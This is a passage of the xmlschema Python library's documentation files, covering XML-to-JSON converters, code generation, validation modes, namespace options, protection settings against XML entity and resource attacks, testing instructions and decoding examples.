is the mapping of namespaces. The expanded namespace representation is used within XML objects of the ElementTree library. For example `{http://www.w3.org/2001/XMLSchema}string` is the fully qualified name of the XSD string type, usually referred as *xs:string* or *xsd:string* with a namespace declaration. With string serialization of XML data the names are remapped to prefixed format. This mapping is generally useful also if you serialize XML data to another format like JSON, because prefixed name is more manageable and readable than expanded format. Available converters ==================== The library includes some converters. The default converter :class:`xmlschema.XMLSchemaConverter` is the base class of other converter types. Each derived converter type implements a well know convention, related to the conversion from XML to JSON data format: * :class:`xmlschema.ParkerConverter`: `Parker convention `_ * :class:`xmlschema.BadgerFishConverter`: `BadgerFish convention `_ * :class:`xmlschema.AbderaConverter`: `Apache Abdera project convention `_ * :class:`xmlschema.JsonMLConverter`: `JsonML (JSON Mark-up Language) convention `_ A summary of these and other conventions can be found on the wiki page `JSON and XML Conversion `_. The base class, that not implements any particular convention, has several options that can be used to variate the converting process. Some of these options are not used by other predefined converter types (eg. *force_list* and *force_dict*) or are used with a fixed value (eg. *text_key* or *attr_prefix*). See :ref:`converters-api` for details about base class options and attributes. Moreover there are also other two converters useful for specific cases: * :class:`xmlschema.UnorderedConverter`: like default converter but with unordered decoding and encoding. * :class:`xmlschema.ColumnarConverter`: a converter that remaps attributes as child elements in a columnar shape (available since release v1.2.0). * :class:`xmlschema.DataElementConverter`: a converter that converts XML to a tree of :class:`xmlschema.DataElement` instances, Element-like objects with decoded values and schema bindings (available since release v1.5.0). Create a custom converter ========================= To create a new customized converter you have to subclass the :class:`xmlschema.XMLSchemaConverter` and redefine the two methods *element_decode* and *element_encode*. These methods are based on the namedtuple `ElementData`, an Element-like data structure that stores the decoded Element parts. This namedtuple is used by decoding and encoding methods as an intermediate data structure. The namedtuple `ElementData` has four attributes: * **tag**: the element's tag string; * **text**: the element's text, that can be a string or `None` for empty elements; * **content**: the element's children, can be a list or `None`; * **attributes**: the element's attributes, can be a dictionary or `None`. The method *element_decode* receives as first argument an `ElementData` instance with decoded data. The other arguments are the XSD element to use for decoding and the level of the XML decoding process, used to add indent spaces for a readable string serialization. This method uses the input data element to compose a decoded data, typically a dictionary or a list or a value for simple type elements. On the opposite the method *element_encode* receives the decoded object and decompose it in order to get and returns an `ElementData` instance. This instance has to contain the parts of the element that will be then encoded an used to build an XML Element instance. These two methods have also the responsibility to map and unmap object names, but don't have to decode or encode data, a task that is delegated to the methods of the XSD components. Depending on the format defined by your new converter class you may provide a different value for properties *lossless* and *losslessly*. The *lossless* has to be `True` if your new converter class preserves all XML data information (eg. as the *BadgerFish* convention). Your new converter can be also *losslessly* if it's lossless and the element model structure and order is maintained (like the JsonML convention). Furthermore your new converter class can has a more specific `__init__` method in order to avoid the usage of unused options or to set the value of some other options. Finally refer also to the code of predefined derived converters to see how you can build your own one. xmlschema-4.1.0/doc/extras.rst000066400000000000000000000113511502040105500162730ustar00rootroot00000000000000************** Extra features ************** The subpackage *xmlschema.extras* acts as a container of a set of extra modules or subpackages that can be useful for specific needs. These codes are not imported during normal library usage and may require additional dependencies to be installed. This choice should be facilitate the implementation of other optional functionalities without having an impact on the base configuration. .. testsetup:: import xmlschema import os import warnings if os.getcwd().endswith('/doc'): os.chdir('..') warnings.simplefilter("ignore", xmlschema.XMLSchemaIncludeWarning) .. _code-generators: Code generation with Jinja2 templates ===================================== The module *xmlschema.extras.codegen* provides an abstract base class :class:`xmlschema.extras.codegen.AbstractGenerator` for generate source code from parsed XSD schemas. The Jinja2 engine is embedded in that class and is empowered with a set of custom filters and tests for accessing to defined XSD schema components. Schema based filters -------------------- Within templates you can use a set of additional filters, available for all generator subclasses: name Get the unqualified name of the object. Invalid chars for identifiers are replaced by an underscore. qname Get the QName of the object in prefixed form. Invalid chars for identifiers are replaced by an underscore. namespace Get the namespace URI of the XSD component. type_name Get the unqualified name of an XSD type. For default 'Type' or '_type' suffixes are removed. Invalid chars for identifiers are replaced by an underscore. type_qname Get the QName of an XSD type in prefixed form. For default 'Type' or '_type' suffixes are removed. Invalid chars for identifiers are replaced by an underscore. sort_types Sort a sequence or a map of XSD types, in reverse dependency order, detecting circularities. Schema based tests ------------------ Within templates you can also use a set of tests, available for all generator classes: derivation Test if an XSD type instance is a derivation of any of a list of other types. Other types are provided by qualified names. extension Test if an XSD type instance is an extension of any of a list of other types. Other types are provided by qualified names. restriction Test if an XSD type instance is a restriction of any of a list of other types. Other types are provided by qualified names. multi_sequence Test if an XSD type is a complex type with complex content that at least one child can have multiple occurrences. Type mapping ------------ Each implementation of a generator class has an additional filter for translating types using the types map of the instance. For example :class:`xmlschema.extras.codegen.PythonGenerator` has the filter *python_type*. These filters are based on a common method *map_type* that uses an instance dictionary built at initialization time from a class maps for builtin types and an optional initialization argument for the types defined in the schema. Defining additional Jinja2 filters and tests -------------------------------------------- Defining a generator class you can add filters and tests using *filter_method* and *test_method* decorators: .. doctest:: >>> from xmlschema.extras.codegen import AbstractGenerator, filter_method, test_method >>> >>> class DemoGenerator(AbstractGenerator): ... formal_language = 'Demo' ... ... @filter_method ... def my_filter_method(self, obj): ... """A method that filters an object using the schema.""" ... ... @staticmethod ... @test_method ... def my_test_method(obj): ... """A static method that test an object.""" ... .. _wsdl11-documents: WSDL 1.1 documents ================== The module *xmlschema.extras.wsdl* provides a specialized schema-related XML document for WSDL 1.1. An example of specialization is the class :class:`xmlschema.extras.wsdl.Wsdl11Document`, usable for validating and parsing WSDL 1.1 documents, that can be imported from *wsdl* module of the *extra* subpackage: .. doctest:: >>> from xmlschema.extras.wsdl import Wsdl11Document >>> wsdl_document = Wsdl11Document('tests/test_cases/examples/stockquote/stockquoteservice.wsdl') >>> wsdl_document.schema XMLSchema10(name='wsdl.xsd', namespace='http://schemas.xmlsoap.org/wsdl/') A parsed WSDL 1.1 document can aggregate a set of WSDL/XSD files for building interrelated set of definitions in multiple namespaces. The XMLResource base class and schema validation assure a fully checked WSDL document with protections against XML attacks. See :class:`xmlschema.extras.wsdl.Wsdl11Document` API for details. xmlschema-4.1.0/doc/features.rst000066400000000000000000000251561502040105500166130ustar00rootroot00000000000000************** Other features ************** Schema objects and package APIs include a set of other features that have been added since a specific release. These features are regulated by arguments, alternative classes or module parameters. XSD 1.0 and 1.1 support ======================= Since release v1.0.14 XSD 1.1 support has been added to the library through the class :class:`xmlschema.XMLSchema11`. You have to use this class for XSD 1.1 schemas instead the default class :class:`xmlschema.XMLSchema`, that is linked to XSD 1.0 validator :class:`xmlschema.XMLSchema10`. The XSD 1.1 validator can be used also for validating XSD 1.0 schemas, except for a restricted set of cases related to content extension in a complexType (the extension of a complex content with simple base is allowed in XSD 1.0 and forbidden in XSD 1.1). CLI interface ============= Starting from the version v1.2.0 the package has a CLI interface with three console scripts: xmlschema-validate Validate a set of XML files. xmlschema-xml2json Decode a set of XML files to JSON. xmlschema-json2xml Encode a set of JSON files to XML. XSD validation modes ==================== Since the version v0.9.10 the library uses XSD validation modes *strict*/*lax*/*skip*, both for schemas and for XML instances. Each validation mode defines a specific behaviour: strict Schemas are validated against the meta-schema. The processor stops when an error is found in a schema or during the validation/decode of XML data. lax Schemas are validated against the meta-schema. The processor collects the errors and continues, eventually replacing missing parts with wildcards. Undecodable XML data are replaced with `None`. skip Schemas are not validated against the meta-schema. The processor doesn't collect any error. Undecodable XML data are replaced with the original text. The default mode is *strict*, both for schemas and for XML data. The mode is set with the *validation* argument, provided when creating the schema instance or when you want to validate/decode XML data. For example you can build a schema using a *strict* mode and then decode XML data using the *validation* argument setted to 'lax'. .. note:: From release v1.1.1 the *iter_decode()* and *iter_encode()* methods propagate errors also for *skip* validation mode. The errors generated in *skip* mode are discarded by the top-level methods *decode()* and *encode()*. Namespaces mapping options ========================== Since the earlier releases the validation/decoding/encoding methods include the *namespaces* optional argument that can be used to provide a custom namespace mapping. In versions prior to 3 of the library the XML declarations are loaded and merged over the custom mapping during the XML document traversing, using alternative prefixes in case of collision. With version 3.0 the processing of namespace information of the XML document has been improved, with the default of maintaining an exact namespace mapping between the XML source and the decoded data. The feature is available both with the decoding and encoding API with the new converter option *xmlns_processing*, that permits to change the processing mode of the namespace declarations of the XML document. The preferred mode is *'stacked'*, the mode that maintains a stack of namespace mapping contexts, with the active context that always match the namespace declarations defined in the XML document. In this case the namespace map is updated dynamically, adding and removing the XML declarations found in internal elements. This choice provide the most accurate mapping of the namespace information of the XML document. Use the option value *'collapsed'* for loading all namespace declarations in a single map. In this case the declarations are merged into the namespace map of the converter, using alternative prefixes in case of collision. This is the legacy behaviour of versions prior to 3 of the library. With *'root-only'* only the namespace declarations of the XML document root are loaded. In this case you are expected to provide the internal namespace information with *namespaces* argument. Use *'none'* to not load any namespace declaration of the XML document. Use this option if you don't want to map namespaces to prefixes or you want to provide a fully custom namespace mapping. For default *xmlns_processing* option is set automatically depending by the converter class capability and the XML data source. The option is available also for encoding with updated converter classes that can retrieve xmlns declarations from decoded data (e.g. :class:`xmlschema.JsonMLConverter` or the default converter). For decoding the default is set to *'stacked'* or *'collapsed'*, for encoding the default can be also *'none'* if no namespace declaration can be retrieved from XML data (e.g. :class:`xmlschema.ParkerConverter`). Lazy validation =============== From release v1.0.12 the document validation and the decoding API have an optional argument `lazy=False`, that can be changed to `True` for operating with a lazy :class:`xmlschema.XMLResource`. The lazy mode can be useful for validating and decoding big XML data files, consuming less memory. From release v1.1.0 the *lazy* mode can be also set with a non negative integer. A zero is equivalent to `False`, a positive value means that lazy mode is activated and defines also the *lazy depth* to use for traversing the XML data tree. Lazy mode works better with validation because is not needed to use converters for shaping decoded data. XML entity-based attacks protection =================================== The XML data resource loading is protected using the `SafeXMLParser` class, a subclass of the pure Python version of XMLParser that forbids the use of entities. The protection is applied both to XSD schemas and to XML data. The usage of this feature is regulated by the XMLSchema's argument *defuse*. For default this argument has value *'remote'* that means the protection on XML data is applied only to data loaded from remote. Providing *'nonlocal'* all XML data are defused except local files. Other values for this argument can be *'always'* and *'never'*, with obvious meaning. Access control on accessing resources ===================================== From release v1.2.0 the schema class includes an argument named *allow* for protecting the access to XML resources identified by an URL or filesystem path. For default all types of URLs are allowed. Provide a different value to restrict the set of URLs that the schema instance can access: all All types of URL and file paths are allowed. remote Only remote resource URLs are allowed. local Only file paths and file-related URLs are allowed. sandbox Allows only the file paths and URLs that are under the directory path identified by *source* argument or *base_url* argument. none No URL based or file path access is allowed. .. warning:: For protecting services that are freely accessible for validation (eg. a web on-line validator that has a form for loading schema and/or XML instance) the recommendation is to provide 'always' for the *defuse* argument and 'none' for the *allow* argument. These settings prevent attacks to your local filesystem, through direct paths or injection in XSD schema imports or includes. For XSD schemas, if you want to permit imports of namespaces located on other web services you can provide 'remote' for the *allow* argument and provide an `XMLResource` instance, initialized providing `allow='none'`, as the *source* argument for the main schema. Processing limits ================= From release v1.0.16 a module has been added in order to group constants that define processing limits, generally to protect against attacks prepared to exhaust system resources. These limits usually don't need to be changed, but this possibility has been left at the module level for situations where a different setting is needed. Limit on XSD model groups checking ---------------------------------- Model groups of the schemas are checked against restriction violations and *Unique Particle Attribution* violations. To avoids XSD model recursion attacks a depth limit of 15 levels is set. If this limit is exceeded an ``XMLSchemaModelDepthError`` is raised, the error is caught and a warning is generated. If you need to set an higher limit for checking all your groups you can import the library and change the value of ``MAX_MODEL_DEPTH`` in the limits module: .. doctest:: >>> import xmlschema >>> xmlschema.limits.MAX_MODEL_DEPTH = 20 Limit on XML data depth ----------------------- A limit of 9999 on maximum depth is set for XML validation/decoding/encoding to avoid attacks based on extremely deep XML data. To increase or decrease this limit change the value of ``MAX_XML_DEPTH`` in the module *limits* after the import of the package: .. doctest:: >>> import xmlschema >>> xmlschema.limits.MAX_XML_DEPTH = 1000 Translations of parsing/validation error messages ================================================= From release v1.11.0 translation of parsing/validation error messages can be activated: .. doctest:: >>> import xmlschema >>> xmlschema.translation.activate() .. note:: Activation depends by the default language in your environment and if it matches translations provided with the library. You can build your custom translation from the template included in the repository (`xmlschema/locale/xmlschema.pot`) and then use it in your runs providing *localedir* and *languages* arguments to activation call. See :ref:`translation-api` for information. Translations for default do not interfere with other translations installed at runtime and can be deactivated after: .. doctest:: >>> xmlschema.translation.deactivate() Schema loaders ============== With v4.0 and beyond it's possible to variate the loading phase. When a schema instance is initialized is connected to or creates a :class:`xmlschema.XsdGlobals` instance and a :class:`xmlschema.SchemaLoader` instance for processing declared or explicit imports and includes. The default loader class process imports of namespaces, ignoring further import statements of the same namespace. This strategy is safe for avoiding component collisions, considering that schemas in other namespaces are usually edited and changed by others. If you need a loader that import any declared location you can provide the :class:`xmlschema.LocationSchemaLoader` through the option *loader_class*. For the same strategy you can provide :class:`xmlschema.SafeSchemaLoader`, that try all the unloaded locations without raising in case of collision, but in this case the loading phase could be slower. xmlschema-4.1.0/doc/index.rst000066400000000000000000000003321502040105500160710ustar00rootroot00000000000000xmlschema Documentation ======================= .. toctree:: :maxdepth: 2 intro usage features converters components testing extras .. only:: html .. toctree:: api xmlschema-4.1.0/doc/intro.rst000066400000000000000000000012071502040105500161170ustar00rootroot00000000000000************ Introduction ************ .. include:: ../README.rst :start-after: xmlschema-introduction-start :end-before: xmlschema-introduction-end License ======= The *xmlschema* library is distributed under the terms of the `MIT License `_. Support ======= This software is hosted on GitHub, refer to the `xmlschema's project page `_ for source code and the issue tracker. For questions, info and announcements refer also to `the discussion section of the project page `_ instead of open a new issue. xmlschema-4.1.0/doc/requirements.txt000066400000000000000000000001221502040105500175110ustar00rootroot00000000000000Sphinx==7.2.6 sphinx-rtd-theme==2.0.0 readthedocs-sphinx-search==0.3.2 elementpathxmlschema-4.1.0/doc/testing.rst000066400000000000000000000134641502040105500164510ustar00rootroot00000000000000******* Testing ******* The tests of the *xmlschema* library are implemented using the Python's *unitest* library. From version v1.1.0 the test scripts have been moved into the directory ``tests/`` of the source distribution. Only a small subpackage *extras/testing/*, containing a specialized UnitTest subclass, a factory and builders for creating test classes for XSD and XML file, has been left into the package's code. Test scripts ============ There are several test scripts, each one for a different target. These scripts can be run individually or by the unittest module. For example to run XPath tests through the *unittest* module use the command: .. code-block:: bash $ python -m unittest -k tests.test_xpath .......... ---------------------------------------------------------------------- Ran 10 tests in 0.133s OK The same run can be launched with the command `$ python tests/test_xpath.py` but an additional header, containing info about the package location, the Python version and the machine platform, is displayed before running the tests. Under the base directory *tests/* there are the test scripts for the base modules of the package. The subdirectory *tests/validators* includes tests for XSD validators building (schemas and their components) and the subdirectory *tests/validation* contains tests validation of XSD/XML and decoding/encoding of XML files. To run all tests use the command `python -m unittest `. Also, the script *run_all_tests.py* can launched during development to run all the tests except memory and packaging tests. From the project source base, if you have the *tox automation tool* installed, you can run all tests with all supported Python's versions using the command ``tox``. Test cases based on files ========================= Three scripts (*run_all_tests.py*, *test_xsd_testfiles.py*, *test_xml_testfiles.py*) create many tests dinamically, building test classes from a set of XSD/XML files. Only a small set of test files is published in the repository for copyright reasons. You can find the repository test files into ``tests/test_cases/`` subdirectory. You can locally extend the test with your set of files. For doing this create a submodule or a directory outside the repository directory and then copy your XSD/XML files into it. Create an index file called testfiles into the base directory were you put your cases and fill it with the list of paths of files you want to be tested, one per line, as in the following example: .. code-block:: text # XHTML XHTML/xhtml11-mod.xsd XHTML/xhtml-datatypes-1.xsd # Quantum Espresso qe/qes.xsd qe/qes_neb.xsd qe/qes_with_choice_no_nesting.xsd qe/silicon.xml qe/silicon-1_error.xml --errors 1 qe/silicon-3_errors.xml --errors=3 qe/SrTiO_3.xml qe/SrTiO_3-2_errors.xml --errors 2 The test scripts create a test for each listed file, dependant from the context. For example the script *test_schemas.py* uses only *.xsd* files, where instead the script *tests_validation.py* uses only *.xml* files. If a file has errors insert an integer number after the path. This is the number of errors that the XML Schema validator have to found to pass the test. From version 1.0.0 each test-case line is parsed for those additional arguments: **-L URI URL** Schema location hint overrides. **--version=VERSION** XSD schema version to use for the test case (default is 1.0). **--errors=NUM** Number of errors expected (default=0). **--warnings=NUM** Number of warnings expected (default=0). **--inspect** Inspect using an observed custom schema class. **--defuse=(always, remote, never)** Define when to use the defused XML data loaders. **--timeout=SEC** Timeout for fetching resources (default=300). **--lax-encode** Use lax mode on encode checks (for cases where test data uses default or fixed values or some test data are skipped by wildcards processContents). Ignored on schema tests. **--debug** Activate the debug mode (only the cases with `--debug` are executed). **--codegen** Test code generation with XML data bindings module. If you put a ``--help`` on the first case line the argument parser show you all the options available. To run tests with also your personal set of files you have provide the path to your custom *testfile*, index, for example: .. code-block:: text python xmlschema/tests/test_all.py ../extra-schemas/testfiles Testing with the W3C XML Schema 1.1 test suite ============================================== From release v1.0.11, using the script *test_w3c_suite.py*, you can run also tests based on the `W3C XML Schema 1.1 test suite `_. To run these tests clone the W3C repo on the project's parent directory and than run the script: .. code-block:: text git clone https://github.com/w3c/xsdtests.git python xmlschema/xmlschema/tests/test_w3c_suite.py You can also provides additional options for select a subset of W3C tests, run ``test_w3_suite.py --help`` to show available options. Direct testing of schemas and instances ======================================= From release v1.0.12, using the script *test_files.py*, you can test schemas or XML instances passing them as arguments: .. code-block:: text $ cd tests/ $ python test_files.py test_cases/examples/vehicles/*.xsd Add test 'TestSchema001' for file 'test_cases/examples/vehicles/bikes.xsd' ... Add test 'TestSchema002' for file 'test_cases/examples/vehicles/cars.xsd' ... Add test 'TestSchema003' for file 'test_cases/examples/vehicles/types.xsd' ... Add test 'TestSchema004' for file 'test_cases/examples/vehicles/vehicles-max.xsd' ... Add test 'TestSchema005' for file 'test_cases/examples/vehicles/vehicles.xsd' ... ..... ---------------------------------------------------------------------- Ran 5 tests in 0.147s OK xmlschema-4.1.0/doc/usage.rst000066400000000000000000001055101502040105500160720ustar00rootroot00000000000000***** Usage ***** .. _lxml: http://lxml.de .. testsetup:: import xmlschema import os import warnings if os.getcwd().endswith('/doc'): os.chdir('..') warnings.simplefilter("ignore", xmlschema.XMLSchemaIncludeWarning) .. testsetup:: collection import xmlschema import os import warnings if os.getcwd().endswith('/doc'): os.chdir('..') warnings.simplefilter("ignore", xmlschema.XMLSchemaIncludeWarning) schema = xmlschema.XMLSchema('tests/test_cases/examples/collection/collection.xsd') Create a schema instance ======================== Import the library and then create an instance of a schema using the path of the file containing the schema as argument: .. doctest:: >>> import xmlschema >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') The argument can be also a file-like object or a string containing the schema definition: .. doctest:: >>> schema_file = open('tests/test_cases/examples/collection/collection.xsd') >>> schema = xmlschema.XMLSchema(schema_file) .. doctest:: >>> schema = xmlschema.XMLSchema(""" ... ... ... ... """) Strings and file-like objects might not work when the schema includes other local subschemas, because the package cannot knows anything about the schema's source location: .. doctest:: >>> schema_xsd = open('tests/test_cases/examples/vehicles/vehicles.xsd').read() >>> schema = xmlschema.XMLSchema(schema_xsd) Traceback (most recent call last): ... ... xmlschema.validators.exceptions.XMLSchemaParseError: unknown element '{http://example.com/vehicles}cars': Schema: Path: /xs:schema/xs:element/xs:complexType/xs:sequence/xs:element In these cases you can provide an appropriate *base_url* optional argument to define the reference directory path for other includes and imports: .. doctest:: >>> schema_file = open('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema = xmlschema.XMLSchema(schema_file, base_url='tests/test_cases/examples/vehicles/') Non standard options for schema instance creation ------------------------------------------------- Other options for schema instance creation are available using non-standard methods. Most cases require to use the *build* option to delay the schema build after the loading of all schema resources. For example: .. doctest:: >>> schema_file = open('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema = xmlschema.XMLSchema(schema_file, build=False) >>> _ = schema.include_schema('tests/test_cases/examples/vehicles/cars.xsd') >>> _ = schema.include_schema('tests/test_cases/examples/vehicles/bikes.xsd') >>> schema.build() Another option, available since release v1.6.1, is to provide a list of schema sources, particularly useful when sources have no locations associated: .. doctest:: >>> sources = [open('tests/test_cases/examples/vehicles/vehicles.xsd'), ... open('tests/test_cases/examples/vehicles/cars.xsd'), ... open('tests/test_cases/examples/vehicles/bikes.xsd'), ... open('tests/test_cases/examples/vehicles/types.xsd')] >>> schema = xmlschema.XMLSchema(sources) or similarly to the previous example one can use the method :meth:`xmlschema.XMLSchemaBase.add_schema`: .. doctest:: >>> schema_file = open('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema = xmlschema.XMLSchema(schema_file, build=False) >>> _ = schema.add_schema(open('tests/test_cases/examples/vehicles/cars.xsd')) >>> _ = schema.add_schema(open('tests/test_cases/examples/vehicles/bikes.xsd')) >>> _ = schema.add_schema(open('tests/test_cases/examples/vehicles/types.xsd')) >>> schema.build() .. note:: Anyway, the advice is to build intermediate XSD schemas instead for loading all the schemas needed in a standard way, because XSD mechanisms of imports, includes, redefines, and overrides are usually supported when you submit your schemas to other XSD validators. Creating a local copy of a remote XSD schema for offline use ------------------------------------------------------------ Sometimes, it is advantageous to validate XML files using an XSD schema located at a remote location while also having the option to store the same schema locally for offline use. The first option is to build a schema and then export the XSD sources to a local directory: .. code-block:: py import xmlschema schema = xmlschema.XMLSchema("https://www.omg.org/spec/ReqIF/20110401/reqif.xsd") schema.export(target='my_schemas', save_remote=True) schema = xmlschema.XMLSchema("my_schemas/reqif.xsd") # works without internet With these commands, a folder ``my_schemas`` is created and contains the XSD files that can be used without access to the internet. The resulting XSD files are identical to their remote source files, with the only difference being that xmlschema transforms the remote URLs into local URLs. The ``export`` command bundles a set of a target XSD file and all its dependencies by changing the ``schemaLocation`` attributes into ``xs:import/xs:include`` statements as follows: .. code-block:: xml becomes .. code-block:: xml The alternative option is to download the XSD resources directly: .. code-block:: py from xmlschema import download_schemas download_schemas("https://www.omg.org/spec/ReqIF/20110401/reqif.xsd", target='my_schemas') For default the original XSD schemas are not changed and a location map is returned. This map is also written to a LOCATION_MAP dictionary in the target directory as the module `__init__.py`, so can be used after as *uri_mapper* argument for building the schema instance. .. note:: Since release v2.5.0 the ``schemaLocation`` attributes are rewritten with local paths that don't start with the target directory path, in order to be reusable from any working directory. Furthermore for default the residual redundant imports from different location hints, are cleaned stripping ``schemaLocation`` attributes from them. Validation ========== A schema instance has methods to validate an XML document against the schema. The first method is :meth:`xmlschema.XMLSchemaBase.is_valid`, that returns ``True`` if the XML argument is validated by the schema loaded in the instance, and returns ``False`` if the document is invalid. .. doctest:: >>> import xmlschema >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema.is_valid('tests/test_cases/examples/vehicles/vehicles.xml') True >>> schema.is_valid('tests/test_cases/examples/vehicles/vehicles-1_error.xml') False >>> schema.is_valid("""""") False An alternative mode for validating an XML document is implemented by the method :meth:`xmlschema.XMLSchemaBase.validate`, that raises an error when the XML doesn't conform to the schema: .. doctest:: >>> import xmlschema >>> schema = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> schema.validate('tests/test_cases/examples/vehicles/vehicles.xml') >>> schema.validate('tests/test_cases/examples/vehicles/vehicles-1_error.xml') Traceback (most recent call last): File "", line 1, in File "/home/brunato/Development/projects/xmlschema/xmlschema/schema.py", line 220, in validate raise error xmlschema.exceptions.XMLSchemaValidationError: failed validating Instance: NOT ALLOWED CHARACTER DATA A validation method is also available at module level, useful when you need to validate a document only once or if you extract information about the schema, typically the schema location and the namespace, directly from the XML document: .. doctest:: >>> xmlschema.validate('tests/test_cases/examples/vehicles/vehicles.xml') >>> xml_file = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> xsd_file = 'tests/test_cases/examples/vehicles/vehicles.xsd' >>> xmlschema.validate(xml_file, schema=xsd_file) Data decoding and encoding ========================== A schema instance can be also used for decoding an XML document to a nested dictionary: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> pprint(xs.to_dict('tests/test_cases/examples/vehicles/vehicles.xml')) {'@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} The decoded values match the datatypes declared in the XSD schema: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/collection/collection.xsd') >>> pprint(xs.to_dict('tests/test_cases/examples/collection/collection.xml')) {'@xmlns:col': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{'@available': True, '@id': 'b0836217462', 'author': {'@id': 'PAR', 'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter'}, 'estimation': Decimal('10000.00'), 'position': 1, 'title': 'The Umbrellas', 'year': '1886'}, {'@available': True, '@id': 'b0836217463', 'author': {'@id': 'JM', 'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, 'year': '1925'}]} Decoded data can be encoded back to XML: .. doctest:: collection >>> obj = schema.decode('tests/test_cases/examples/collection/collection.xml') >>> collection = schema.encode(obj) >>> collection >>> print(xmlschema.etree_tostring(collection, {'col': 'http://example.com/ns/collection'})) 1 The Umbrellas 1886 Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter 10000.00 2 <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col:collection> All the decoding and encoding methods are based on two generator methods of the `XMLSchema` class, namely *iter_decode()* and *iter_encode()*, that yield both data and validation errors. See :ref:`schema-level-api` section for more information. Decoding a part using XPath --------------------------- If you need to decode only a part of the XML document you can pass also an XPath expression using the *path* argument. .. doctest:: >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> pprint(xs.to_dict('tests/test_cases/examples/vehicles/vehicles.xml', '/vh:vehicles/vh:bikes')) {'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]} .. note:: An XPath expression for the schema *considers the schema as the root element with global elements as its children*. If you need to be selective on XML data, e.g. select the 2nd of a sequence od elements using a predicate, the provided *path* argument can't be used for selecting the matching XSD element: .. doctest:: >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> filepath = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> pprint(xs.to_dict(filepath, path='//vh:bike[2]')) Traceback (most recent call last): ... xmlschema.validators.exceptions.XMLSchemaValidationError: failed validating <Element '{http://example.com/vehicles}bike' at 0x...> with XMLSchema10(name='vehicles.xsd', namespace='http://example.com/vehicles'): Reason: path='//vh:bike[2]' doesn't select any '{http://example.com/vehicles}bike' element of the schema, maybe you have to provide a different path using the schema_path argument Instance type: <class 'xml.etree.ElementTree.Element'> Instance: <vh:bike xmlns:vh="http://example.com/vehicles" make="Yamaha" model="XS650" /> Path: /vh:vehicles/vh:bikes/vh:bike[2] in these cases you must provide also an appropriate *schema_path* argument for finding the schema element: .. doctest:: >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> filepath = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> pprint(xs.to_dict(filepath, path='//vh:bike[2]', schema_path='/vh:vehicles/vh:bikes/vh:bike')) {'@make': 'Yamaha', '@model': 'XS650'} >>> pprint(xs.to_dict(filepath, path='//vh:bike[2]', schema_path='//vh:bike')) {'@make': 'Yamaha', '@model': 'XS650'} Validating and decoding ElementTree's data ------------------------------------------ Validation and decode API works also with XML data loaded in ElementTree structures: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> from xml.etree import ElementTree >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> xt = ElementTree.parse('tests/test_cases/examples/vehicles/vehicles.xml') >>> xs.is_valid(xt) True >>> pprint(xs.to_dict(xt, process_namespaces=False), depth=2) {'@{http://www.w3.org/2001/XMLSchema-instance}schemaLocation': 'http://...', '{http://example.com/vehicles}bikes': {'{http://example.com/vehicles}bike': [...]}, '{http://example.com/vehicles}cars': {'{http://example.com/vehicles}car': [...]}} The standard ElementTree library lacks of namespace information in trees, so you have to provide a map to convert URIs to prefixes: >>> namespaces = {'xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'vh': 'http://example.com/vehicles'} >>> pprint(xs.to_dict(xt, namespaces=namespaces)) {'@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'}]}, 'vh:cars': {'vh:car': [{'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'}]}} You can also convert XML data using the lxml_ library, that works better because namespace information is associated within each node of the trees: .. doctest:: >>> import xmlschema >>> from pprint import pprint >>> import lxml.etree as etree >>> xs = xmlschema.XMLSchema('tests/test_cases/examples/vehicles/vehicles.xsd') >>> xt = etree.parse('tests/test_cases/examples/vehicles/vehicles.xml') >>> xs.is_valid(xt) True >>> pprint(xs.to_dict(xt)) {'@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:bikes': {'vh:bike': [{'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 